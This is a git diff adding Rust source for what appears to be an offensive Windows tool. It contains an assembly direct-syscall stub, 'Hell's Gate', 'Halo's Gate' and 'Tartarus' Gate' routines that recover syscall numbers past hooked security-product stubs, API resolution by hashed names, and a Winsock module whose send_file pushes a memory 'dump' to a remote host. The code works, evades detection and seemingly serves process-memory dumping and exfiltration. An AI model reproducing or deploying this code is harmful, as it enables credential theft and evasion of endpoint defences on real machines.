NtAllocateVirtualMemory::new(), + nt_free_virtual_memory: NtFreeVirtualMemory::new(), + nt_read_virtual_memory: NtReadVirtualMemory::new(), + nt_query_virtual_memory: NtQueryVirtualMemory::new(), + nt_open_process: NtOpenProcess::new(), + nt_query_system_information: NtQuerySystemInformation::new(), + nt_query_information_process: NtQueryInformationProcess::new(), + nt_create_file: NtCreateFile::new(), + nt_write_file: NtWriteFile::new(), + nt_close: NtClose::new(), + nt_open_process_token: NtOpenProcessToken::new(), + nt_adjust_privileges_token: NtAdjustPrivilegesToken::new(), + } + } +} diff --git a/src/ntapi/syscall_gate.rs b/src/ntapi/syscall_gate.rs new file mode 100644 index 0000000..5ecb7a8 --- /dev/null +++ b/src/ntapi/syscall_gate.rs @@ -0,0 +1,157 @@ +use core::arch::global_asm; + +global_asm!( + r#" +.globl do_syscall + +.section .text + +do_syscall: + mov [rsp - 0x8], rsi + mov [rsp - 0x10], rdi + mov [rsp - 0x18], r12 + + xor r10, r10 + mov rax, rcx + mov r10, rax + + mov eax, ecx + + mov r12, rdx + mov rcx, r8 + + mov r10, r9 + mov rdx, [rsp + 0x28] + mov r8, [rsp + 0x30] + mov r9, [rsp + 0x38] + + sub rcx, 0x4 + jle skip + + lea rsi, [rsp + 0x40] + lea rdi, [rsp + 0x28] + + rep movsq +skip: + mov rcx, r12 + + mov rsi, [rsp - 0x8] + mov rdi, [rsp - 0x10] + mov r12, [rsp - 0x18] + + jmp rcx +"# +); + +extern "C" { + pub fn do_syscall(ssn: u16, addr: usize, n_args: u32, ...) -> i32; +} + +#[cfg(target_arch = "x86_64")] +#[macro_export] +macro_rules! run_syscall { + ($ssn:expr, $addr:expr, $($y:expr), +) => { + { + let mut cnt: u32 = 0; + + // Count the number of arguments passed + $( + let _ = $y; + cnt += 1; + )+ + + // Perform the syscall with the given number, address (offset by 0x12), + // argument count, and the arguments + unsafe { $crate::ntapi::syscall_gate::do_syscall($ssn, $addr + 0x12, cnt, $($y), +) } + } + } +} + +const UP: isize = -32; // Constant for upward memory search +const DOWN: usize = 32; // Constant for downward memory search + +pub unsafe fn get_ssn(address: *mut u8) -> u16 { + // Check if the address is null + if address.is_null() { + return 0; + } + + // Hell's Gate: Check if the bytes match a typical syscall instruction sequence + // mov r10, rcx; mov rcx, + if address.read() == 0x4c + && address.add(1).read() == 0x8b + && address.add(2).read() == 0xd1 + && address.add(3).read() == 0xb8 + && address.add(6).read() == 0x00 + && address.add(7).read() == 0x00 + { + // Extract the syscall number from the instruction + let high = address.add(5).read() as u16; + let low = address.add(4).read() as u16; + return ((high << 8) | low) as u16; + } + + // Halo's Gate: Check if the syscall is hooked and attempt to locate a clean syscall + if address.read() == 0xe9 { + for idx in 1..500 { + // Check downwards for a clean syscall instruction + if address.add(idx * DOWN).read() == 0x4c + && address.add(1 + idx * DOWN).read() == 0x8b + && address.add(2 + idx * DOWN).read() == 0xd1 + && address.add(3 + idx * DOWN).read() == 0xb8 + && address.add(6 + idx * DOWN).read() == 0x00 + && address.add(7 + idx * DOWN).read() == 0x00 + { + let high = address.add(5 + idx * DOWN).read() as u16; + let low = address.add(4 + idx * DOWN).read() as u16; + return (high << 8) | (low.wrapping_sub(idx as u16)); + } + + // Check upwards for a clean syscall instruction + if address.offset(idx as isize * UP).read() == 0x4c + && address.offset(1 + idx as isize * UP).read() == 0x8b + && address.offset(2 + idx as isize * UP).read() == 0xd1 + && address.offset(3 + idx as isize * UP).read() == 0xb8 + && address.offset(6 + idx as isize * UP).read() == 0x00 + && address.offset(7 + idx as isize * UP).read() == 0x00 + { + let high = address.offset(5 + idx as isize * UP).read() as u16; + let low = address.offset(4 + idx as isize * UP).read() as u16; + return (high << 8) | (low.wrapping_add(idx as u16)); + } + } + } + + // Tartarus' Gate: Another method to bypass hooked syscalls + if address.add(3).read() == 0xe9 { + for idx in 1..500 { + // Check downwards for a clean syscall instruction + if address.add(idx * DOWN).read() == 0x4c + && address.add(1 + idx * DOWN).read() == 0x8b + && address.add(2 + idx * DOWN).read() == 0xd1 + && address.add(3 + idx * DOWN).read() == 0xb8 + && address.add(6 + idx * DOWN).read() == 0x00 + && address.add(7 + idx * DOWN).read() == 0x00 + { + let high = address.add(5 + idx * DOWN).read() as u16; + let low = address.add(4 + idx * DOWN).read() as u16; + return (high << 8) | (low.wrapping_sub(idx as u16)); + } + + // Check upwards for a clean syscall instruction + if address.offset(idx as isize * UP).read() == 0x4c + && address.offset(1 + idx as isize * UP).read() == 0x8b + && address.offset(2 + idx as isize * UP).read() == 0xd1 + && address.offset(3 + idx as isize * UP).read() == 0xb8 + && address.offset(6 + idx as isize * UP).read() == 0x00 + && address.offset(7 + idx as isize * UP).read() == 0x00 + { + let high = address.offset(5 + idx as isize * UP).read() as u16; + let low = address.offset(4 + idx as isize * UP).read() as u16; + return (high << 8) | (low.wrapping_add(idx as u16)); + } + } + } + + return 0; +} diff --git a/src/ntapi/utils.rs b/src/ntapi/utils.rs new file mode 100644 index 0000000..17f7679 --- /dev/null +++ b/src/ntapi/utils.rs @@ -0,0 +1,81 @@ +use super::def::{find_peb, OSVersionInfo}; + +#[cfg(not(feature = "remote"))] +use crate::{common::utils::unicodestring_to_string, ntapi::def::RtlUserProcessParameters}; +#[cfg(not(feature = "remote"))] +use alloc::string::String; + +pub unsafe fn rtl_get_version(lp_version_information: &mut OSVersionInfo) -> i32 { + // Get the pointer to the PEB + let peb = find_peb(); + + if lp_version_information.dw_os_version_info_size + != core::mem::size_of::() as u32 + { + return -1; + } + + // Fill in the version information from the PEB + lp_version_information.dw_major_version = (*peb).os_major_version; + lp_version_information.dw_minor_version = (*peb).os_minor_version; + lp_version_information.dw_build_number = (*peb).os_build_number; + lp_version_information.dw_platform_id = (*peb).os_platform_id; + lp_version_information.sz_csd_version.fill(0); + + 0 +} + +/// Retrieves the current working directory of the process by accessing the Process Environment Block (PEB). +#[cfg(not(feature = "remote"))] +pub fn get_current_directory() -> String { + unsafe { + let peb = find_peb(); + if !peb.is_null() { + let process_parameters = (*peb).process_parameters as *mut RtlUserProcessParameters; + let cur_dir = &mut process_parameters.as_mut().unwrap().current_directory_path; + + let dir_str = unicodestring_to_string(&(*cur_dir)); + if dir_str.is_some() { + return dir_str.unwrap(); + } + } + } + String::new() +} + +/// Builds an NT path based on the current working directory (cwd) and a file name. +#[cfg(not(feature = "remote"))] +pub fn build_nt_path<'a>(cwd: &str, file_name: &str, buffer: &'a mut [u8]) -> &'a str { + let mut offset = 0; + + let nt_prefix = b"\\??\\"; + if nt_prefix.len() > buffer.len() { + // debug_println!("[-] Buffer too small to hold NT prefix."); + return ""; + } + buffer[offset..offset + nt_prefix.len()].copy_from_slice(nt_prefix); + offset += nt_prefix.len(); + + let cwd_bytes = cwd.as_bytes(); + if offset + cwd_bytes.len() > buffer.len() { + // debug_println!("[-] Buffer too small to hold current working directory."); + return ""; + } + buffer[offset..offset + cwd_bytes.len()].copy_from_slice(cwd_bytes); + offset += cwd_bytes.len(); + + let file_name_bytes = file_name.as_bytes(); + if offset + file_name_bytes.len() > buffer.len() { + // debug_println!("[-] Buffer too small to hold file name."); + return ""; + } + buffer[offset..offset + file_name_bytes.len()].copy_from_slice(file_name_bytes); + offset += file_name_bytes.len(); + + if let Ok(result_str) = core::str::from_utf8(&buffer[..offset]) { + result_str + } else { + // debug_println!("[-] Failed to convert buffer to UTF-8 string."); + "" + } +} diff --git a/src/remote/mod.rs b/src/remote/mod.rs new file mode 100644 index 0000000..5a7e054 --- /dev/null +++ b/src/remote/mod.rs @@ -0,0 +1 @@ +pub mod winsock; diff --git a/src/remote/winsock.rs b/src/remote/winsock.rs new file mode 100644 index 0000000..f644059 --- /dev/null +++ b/src/remote/winsock.rs @@ -0,0 +1,394 @@ +#[cfg(feature = "verbose")] +use libc_print::libc_println; + +use alloc::ffi::CString; +use alloc::vec::Vec; + +use core::{ + ffi::c_void, + mem::{transmute, zeroed}, + ptr::{null, null_mut}, + sync::atomic::{AtomicBool, Ordering}, +}; + +use crate::common::ldrapi::ldr_function; +use crate::ntapi::def::UnicodeString; +use crate::ntapi::g_instance::instance; + +use crate::debug_println; + +// Data structures for Winsock +#[repr(C)] +pub struct WsaData { + pub w_version: u16, + pub w_high_version: u16, + pub sz_description: [i8; 257], + pub sz_system_status: [i8; 129], + pub i_max_sockets: u16, + pub i_max_udp_dg: u16, + pub lp_vendor_info: *mut i8, +} + +#[repr(C)] +pub struct SockAddrIn { + pub sin_family: u16, + pub sin_port: u16, + pub sin_addr: InAddr, + pub sin_zero: [i8; 8], +} + +#[repr(C)] +pub struct InAddr { + pub s_addr: u32, +} + +#[repr(C)] +pub struct SockAddr { + pub sa_family: u16, + pub sa_data: [i8; 14], +} + +#[repr(C)] +pub struct AddrInfo { + pub ai_flags: i32, + pub ai_family: i32, + pub ai_socktype: i32, + pub ai_protocol: i32, + pub ai_addrlen: u32, + pub ai_canonname: *mut i8, + pub ai_addr: *mut SockAddr, + pub ai_next: *mut AddrInfo, +} + +// Define function types for Winsock functions +type WSAStartupFunc = + unsafe extern "system" fn(wVersionRequested: u16, lpWsaData: *mut WsaData) -> i32; +type WSACleanupFunc = unsafe extern "system" fn() -> i32; +type SocketFunc = unsafe extern "system" fn(af: i32, socket_type: i32, protocol: i32) -> SOCKET; +type ConnectFunc = unsafe extern "system" fn(s: SOCKET, name: *const SockAddr, namelen: i32) -> i32; +type SendFunc = unsafe extern "system" fn(s: SOCKET, buf: *const i8, len: i32, flags: i32) -> i32; +type RecvFunc = unsafe extern "system" fn(s: SOCKET, buf: *mut i8, len: i32, flags: i32) -> i32; +type ClosesocketFunc = unsafe extern "system" fn(s: SOCKET) -> i32; +type InetAddrFunc = unsafe extern "system" fn(cp: *const i8) -> u32; +type HtonsFunc = unsafe extern "system" fn(hostshort: u16) -> u16; +type GetAddrInfoFunc = unsafe extern "system" fn( + node: *const i8, + service: *const i8, + hints: *const AddrInfo, + res: *mut *mut AddrInfo, +) -> i32; +type FreeAddrInfoFunc = unsafe extern "system" fn(res: *mut AddrInfo); + +type WSAGetLastError = unsafe extern "system" fn() -> i32; + +// Structure to hold function pointers +pub struct Winsock { + pub wsa_startup: WSAStartupFunc, + pub wsa_cleanup: WSACleanupFunc, + pub socket: SocketFunc, + pub connect: ConnectFunc, + pub send: SendFunc, + pub recv: RecvFunc, + pub closesocket: ClosesocketFunc, + pub inet_addr: InetAddrFunc, + pub htons: HtonsFunc, + pub getaddrinfo: GetAddrInfoFunc, + pub freeaddrinfo: FreeAddrInfoFunc, + pub wsa_get_last_error: WSAGetLastError, +} + +impl Winsock { + // Function to initialize the Winsock structure with null values + pub fn new() -> Self { + Winsock { + wsa_startup: unsafe { core::mem::transmute(core::ptr::null::()) }, + wsa_cleanup: unsafe { core::mem::transmute(core::ptr::null::()) }, + socket: unsafe { core::mem::transmute(core::ptr::null::()) }, + connect: unsafe { core::mem::transmute(core::ptr::null::()) }, + send: unsafe { core::mem::transmute(core::ptr::null::()) }, + recv: unsafe { core::mem::transmute(core::ptr::null::()) }, + closesocket: unsafe { core::mem::transmute(core::ptr::null::()) }, + inet_addr: unsafe { core::mem::transmute(core::ptr::null::()) }, + htons: unsafe { core::mem::transmute(core::ptr::null::()) }, + getaddrinfo: unsafe { core::mem::transmute(core::ptr::null::()) }, + freeaddrinfo: unsafe { core::mem::transmute(core::ptr::null::()) }, + wsa_get_last_error: unsafe { + core::mem::transmute(core::ptr::null::()) + }, + } + } +} + +// Global variable to store Winsock functions +static mut WINSOCK_FUNCS: Option = None; +// Atomic variable to track if Winsock functions have been initialized +static INIT_WINSOCKS: AtomicBool = AtomicBool::new(false); + +/// Initializes Winsock functions. +/// +/// This function dynamically loads the Winsock functions from the "ws2_32.dll" library. +/// It ensures that the functions are loaded only once using atomic operations. +/// The function does not return any values. +pub fn init_winsock_funcs() { + unsafe { + if !INIT_WINSOCKS.load(Ordering::Acquire) { + // Constants representing hash values of Winsock function names + pub const WSA_STARTUP_DBJ2: usize = 0x142e89c3; + pub const WSA_CLEANUP_DBJ2: usize = 0x32206eb8; + pub const SOCKET_DBJ2: usize = 0xcf36c66e; + pub const CONNECT_DBJ2: usize = 0xe73478ef; + pub const SEND_DBJ2: usize = 0x7c8bc2cf; + pub const RECV_DBJ2: usize = 0x7c8b3515; + pub const CLOSESOCKET_DBJ2: usize = 0x185953a4; + pub const INET_ADDR_DBJ2: usize = 0xafe73c2f; + pub const HTONS_DBJ2: usize = 0xd454eb1; + pub const GETADDRINFO_DBJ2: usize = 0x4b91706c; + pub const FREEADDRINFO_DBJ2: usize = 0x307204e; + pub const WSAGETLASTERROR_H: usize = 0x9c1d912e; + + let dll_name = "ws2_32.dll"; + let mut ws2_win32_dll_unicode = UnicodeString::new(); + let utf16_string: Vec = dll_name.encode_utf16().chain(Some(0)).collect(); + ws2_win32_dll_unicode.init(utf16_string.as_ptr()); + + let mut ws2_win32_handle: *mut c_void = null_mut(); + + (instance().ntdll.ldr_load_dll)( + null_mut(), + null_mut(), + ws2_win32_dll_unicode, + &mut ws2_win32_handle as *mut _ as *mut c_void, + ); + + if ws2_win32_handle.is_null() { + return; + } + + let ws2_32_module = ws2_win32_handle as *mut u8; + + // Resolve function addresses using hashed names + let wsa_startup_addr = ldr_function(ws2_32_module, WSA_STARTUP_DBJ2); + let wsa_cleanup_addr = ldr_function(ws2_32_module, WSA_CLEANUP_DBJ2); + let socket_addr = ldr_function(ws2_32_module, SOCKET_DBJ2); + let connect_addr = ldr_function(ws2_32_module, CONNECT_DBJ2); + let send_addr = ldr_function(ws2_32_module, SEND_DBJ2); + let recv_addr = ldr_function(ws2_32_module, RECV_DBJ2); + let closesocket_addr = ldr_function(ws2_32_module, CLOSESOCKET_DBJ2); + let inet_addr_addr = ldr_function(ws2_32_module, INET_ADDR_DBJ2); + let htons_addr = ldr_function(ws2_32_module, HTONS_DBJ2); + let getaddrinfo_addr = ldr_function(ws2_32_module, GETADDRINFO_DBJ2); + let freeaddrinfo_addr = ldr_function(ws2_32_module, FREEADDRINFO_DBJ2); + let wsa_get_last_error_addr = ldr_function(ws2_32_module, WSAGETLASTERROR_H); + + // Initialize Winsock functions + let mut winsock_functions = Winsock::new(); + winsock_functions.wsa_startup = transmute(wsa_startup_addr); + winsock_functions.wsa_cleanup = transmute(wsa_cleanup_addr); + winsock_functions.socket = transmute(socket_addr); + winsock_functions.connect = transmute(connect_addr); + winsock_functions.send = transmute(send_addr); + winsock_functions.recv = transmute(recv_addr); + winsock_functions.closesocket = transmute(closesocket_addr); + winsock_functions.inet_addr = transmute(inet_addr_addr); + winsock_functions.htons = transmute(htons_addr); + winsock_functions.getaddrinfo = transmute(getaddrinfo_addr); + winsock_functions.freeaddrinfo = transmute(freeaddrinfo_addr); + winsock_functions.wsa_get_last_error = transmute(wsa_get_last_error_addr); + + // Store the functions in the global variable + WINSOCK_FUNCS = Some(winsock_functions); + + // Mark Winsock functions as initialized + INIT_WINSOCKS.store(true, Ordering::Release); + } + } +} + +/// Gets the Winsock functions. +/// +/// This function ensures the Winsock functions are initialized and returns a reference to them. +/// If the functions are not already initialized, it will initialize them first. +/// +/// # Returns +/// * `&'static Winsock` - A reference to the initialized Winsock functions. +pub fn get_winsock() -> &'static Winsock { + init_winsock_funcs(); + return unsafe { WINSOCK_FUNCS.as_ref().unwrap() }; +} + +#[allow(non_camel_case_types)] +pub type SOCKET = usize; + +/// Cleans up the Winsock library. +/// +/// This function cleans up the Winsock library, releasing any resources that were allocated. +/// This function does not return any values. +pub fn cleanup_winsock(sock: SOCKET) { + unsafe { + (get_winsock().closesocket)(sock); + (get_winsock().wsa_cleanup)(); + } +} + +/// Initializes the Winsock library for network operations on Windows. +/// Returns 0 on success, or the error code on failure. +pub fn init_winsock() -> i32 { + unsafe { + let mut wsa_data: WsaData = core::mem::zeroed(); + let result = (get_winsock().wsa_startup)(0x0202, &mut wsa_data); + if result != 0 { + return (get_winsock().wsa_get_last_error)(); + } + result + } +} + +/// Creates a new TCP socket for network communication. +/// Returns the socket descriptor (SOCKET) or an error code on failure. +pub fn create_socket() -> SOCKET { + unsafe { + (get_winsock().socket)(2, 1, 6) // AF_INET, SOCK_STREAM, IPPROTO_TCP + } +} + +/// Resolves a hostname to an IPv4 address. +/// Returns the IPv4 address as a `u32` or an error code on failure. +pub fn resolve_hostname(hostname: &str) -> u32 { + unsafe { + let hostname_cstr = CString::new(hostname).unwrap(); + let mut hints: AddrInfo = zeroed(); + hints.ai_family = 2; // AF_INET + hints.ai_socktype = 1; // SOCK_STREAM + let mut res: *mut AddrInfo = null_mut(); + + let status = (get_winsock().getaddrinfo)(hostname_cstr.as_ptr(), null(), &hints, &mut res); + + if status != 0 { + return (get_winsock().wsa_get_last_error)() as u32; + } + + let mut ip_addr: u32 = 0; + let mut addr_info_ptr = res; + + while !addr_info_ptr.is_null() { + let addr_info = &*addr_info_ptr; + if addr_info.ai_family == 2 { + // AF_INET + let sockaddr_in = &*(addr_info.ai_addr as *const SockAddrIn); + ip_addr = sockaddr_in.sin_addr.s_addr; + break; + } + addr_info_ptr = addr_info.ai_next; + } + + (get_winsock().freeaddrinfo)(res); + ip_addr + } +} + +/// Connects a socket to a given address and port. +/// Returns 0 on success, or the error code on failure. +pub fn connect_socket(sock: SOCKET, addr: &str, port: u16) -> i32 { + unsafe { + let addr = if addr == "localhost" { + "127.0.0.1" + } else { + addr + }; + + let resolve_addr = resolve_hostname(addr); + let mut sockaddr_in: SockAddrIn = core::mem::zeroed(); + sockaddr_in.sin_family = 2; // AF_INET + sockaddr_in.sin_port = (get_winsock().htons)(port); + sockaddr_in.sin_addr.s_addr = resolve_addr; + + let sockaddr = &sockaddr_in as *const _ as *const SockAddr; + let result = + (get_winsock().connect)(sock, sockaddr, core::mem::size_of::() as i32); + + if result != 0 { + return (get_winsock().wsa_get_last_error)(); + } + result + } +} + +/// Sends a request through a socket. +/// +/// This function sends a request through the specified socket. +/// It returns a `Result` indicating whether the send operation was successful or not. +/// +/// # Arguments +/// * `sock` - The socket descriptor. +/// * `request` - The request data to be sent. +pub fn send_request(sock: SOCKET, request: &[u8]) -> i32 { + unsafe { + let result = + (get_winsock().send)(sock, request.as_ptr() as *const i8, request.len() as i32, 0); + if result != 0 { + return (get_winsock().wsa_get_last_error)(); + } + result + } +} + +/// Sends a Vec to a remote address and port via socket. +/// +/// # Arguments +/// * `data` - The data to be sent as a Vec. +/// * `ip` - The remote IP address as a string (e.g., "127.0.0.1"). +/// * `port` - The port to connect to. +pub fn send_file(data: Vec, ip: &str, port: u16) { + // Initialize Winsock. + let wsa_init_result = init_winsock(); + if wsa_init_result != 0 { + debug_println!( + "[-] Failed to initialize Winsock with error: {}", + wsa_init_result + ); + return; + } + + // Create a socket. + let sock = create_socket(); + if sock == usize::MAX { + unsafe { + let _error = (get_winsock().wsa_get_last_error)(); + debug_println!("[-] Failed to create socket. Winsock error: {}", _error); + return; + } + } + + // Connect the socket to the IP and port. + let connect_result = connect_socket(sock, ip, port); + if connect_result != 0 { + debug_println!( + "[-] Failed to connect socket to {}:{} with error: {}", + ip, + port, + connect_result + ); + cleanup_winsock(sock); + return; + } + + // Send the data. + let send_result = send_request(sock, &data); + + // Check if sending the file was successful. + if send_result != 0 { + debug_println!( + "[-] Failed to send data to {}:{} with error: {}", + ip, + port, + send_result + ); + cleanup_winsock(sock); + return; + } + + // Close the socket. + cleanup_winsock(sock); + + debug_println!("[+] Dump sent successfully to remote host"); +}